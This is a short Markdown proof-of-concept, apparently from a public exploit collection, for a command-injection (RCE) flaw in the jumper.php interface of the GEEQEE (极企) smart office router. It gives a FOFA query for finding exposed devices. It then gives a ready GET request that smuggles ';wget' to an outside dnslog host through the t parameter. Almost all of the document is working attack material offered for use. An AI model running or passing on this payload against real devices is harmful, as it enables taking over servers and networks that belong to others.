POC00/极企智能办公路由接口jumper.php存在RCE漏洞.md
2024-06-21 20:01:18 +08:00

19 lines
325 B
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

## 极企智能办公路由接口jumper.php存在RCE漏洞
极企智能办公路由接口jumper.php存在命令执行漏洞导致服务器权限沦陷。
## fofa
```
app="GEEQEE-极企智能办公路由"
```
## poc
```
GET /notice/jumper.php?t=;wget%20http://xxx.dnslog.cn HTTP/1.1
Host:
Connection: keep-alive
```